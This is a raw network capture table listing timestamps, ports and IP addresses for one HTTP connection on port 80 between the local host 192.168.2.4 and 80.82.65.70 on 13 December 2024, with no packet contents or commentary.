Dec 13, 2024 08:36:34.061721087 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.061767101 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.064100027 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.064157009 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.064188957 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.064234018 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.066553116 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.066622972 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.066656113 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.066700935 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.068793058 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.068901062 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.068959951 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.071032047 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.071103096 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.071139097 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.071187973 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.073323965 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.073384047 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.073396921 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.073443890 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.075614929 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.075663090 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.075664043 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.075717926 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.077841043 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.077903032 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.077904940 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.077953100 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.128725052 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.128786087 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.128835917 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.128876925 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.129839897 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.129890919 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.129973888 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.130013943 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.132071972 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.132129908 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.188554049 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.188620090 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.188663006 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.188704014 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.189212084 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.189259052 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.189302921 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.190684080 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.190747023 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.190783978 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.190826893 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.192178965 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.192262888 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.192332983 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.192560911 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.193644047 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.193691015 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.193830967 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.194102049 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.195120096 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.195166111 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.195223093 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.195262909 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.196620941 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.196670055 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.196729898 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.196768999 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.198071003 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.198127031 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.198497057 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.198632956 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.199455023 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.199513912 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.199604034 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.199734926 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.200872898 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.200922966 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.200965881 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.201013088 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.202280998 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.202353954 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.202358007 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.202397108 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.203649044 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.203701019 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.203753948 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.203805923 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.205051899 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.205104113 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.205187082 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.205229998 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.206453085 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.206504107 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.206557035 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.206598997 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.207876921 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.207928896 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.207950115 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.207992077 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.209228992 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.209281921 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.209328890 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.209367990 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.210603952 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.210665941 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.210768938 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.210809946 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.212119102 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.212176085 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.212244034 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.212286949 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.213541031 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.213804007 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.213813066 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.213850975 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.214819908 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.215027094 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.215085983 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.215126991 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.216201067 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.216257095 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.216316938 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.216469049 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.217658997 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.217773914 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.218036890 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.219011068 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.219063044 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.219105959 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.220428944 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.220487118 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.220627069 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.220670938 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.221848011 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.221904993 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.221924067 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.221966982 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.223170042 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.223220110 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.223259926 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.224580050 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.224649906 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.224693060 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.224737883 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.226002932 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.226058006 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.226080894 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.226121902 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.227372885 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.227446079 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.227507114 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.227554083 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.228756905 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.228846073 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.228889942 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.230169058 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.230287075 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.230298042 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.230329037 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.231540918 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.231633902 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.231736898 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.231942892 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.232935905 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.232980967 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.232985020 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.233026981 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.234431982 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.234493017 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.234520912 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.234561920 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.235754967 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.235810995 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.235850096 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.235893011 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.237128973 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.237183094 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.237252951 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.237296104 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.238497019 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.238562107 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.238611937 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.238861084 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.240025043 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.240077972 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.240093946 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.240120888 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.241348982 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.241394043 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.241415977 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.241807938 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.242742062 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.242789030 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.242791891 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.242841005 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.244092941 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.244142056 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.244179964 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.244220972 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.245531082 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.245584011 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.245795965 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.245839119 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.246875048 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.246929884 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.246963024 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.247005939 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.248282909 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.248337030 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.248378992 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.248420000 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.249773979 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.249819994 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.249872923 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.249912024 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.251079082 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.251133919 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.251564980 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.251652956 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.252458096 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.252526999 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.252568960 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.253871918 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.253916979 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.253983021 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.254023075 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.320812941 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.320909977 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.320970058 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.321259022 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.321352959 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.321399927 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.322700977 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.322755098 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.322789907 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.322832108 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.324006081 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.324059963 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.324127913 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.324171066 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.380007029 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.380084991 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.380120039 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.380161047 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.380393028 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.380435944 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.380471945 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.380508900 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.381293058 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.381337881 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.381464005 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.381505013 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.382175922 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.382224083 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.382272005 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.382313967 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.383071899 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.383116961 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.383168936 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.383208036 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.383985043 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.384030104 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.384058952 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.384099007 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.384896040 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.384907961 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.384946108 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.384974957 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.385745049 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.385812044 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.385848045 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.385888100 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.386647940 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.386696100 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.386837959 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.386882067 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.387520075 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.387639999 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.387655020 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.387677908 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.388513088 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.388559103 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.388583899 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.388623953 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.389328957 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.389379025 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.389426947 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.389467955 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.390221119 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.390383005 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.390424967 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.391135931 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.391180992 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.391247034 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.391290903 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.391999960 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.392070055 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.392101049 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.392112970 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.392887115 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.392930031 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.393013000 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.393054008 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.393780947 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.393824100 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.393863916 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.393904924 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.394717932 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.394762039 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.394908905 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.394952059 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.395584106 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.395706892 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.395752907 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.396485090 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.396589041 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.396635056 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.397378922 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.397453070 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.397491932 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.397536993 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.398268938 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.398288012 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.398333073 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.399177074 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.399219990 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.399465084 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.399626970 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.400120974 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.400163889 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.400177956 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.400366068 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.400949955 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.401002884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.401076078 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.401824951 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.401880026 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.401940107 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.401982069 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.402740955 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.402786016 CET	49772	80	192.168.2.4	80.82.65.70
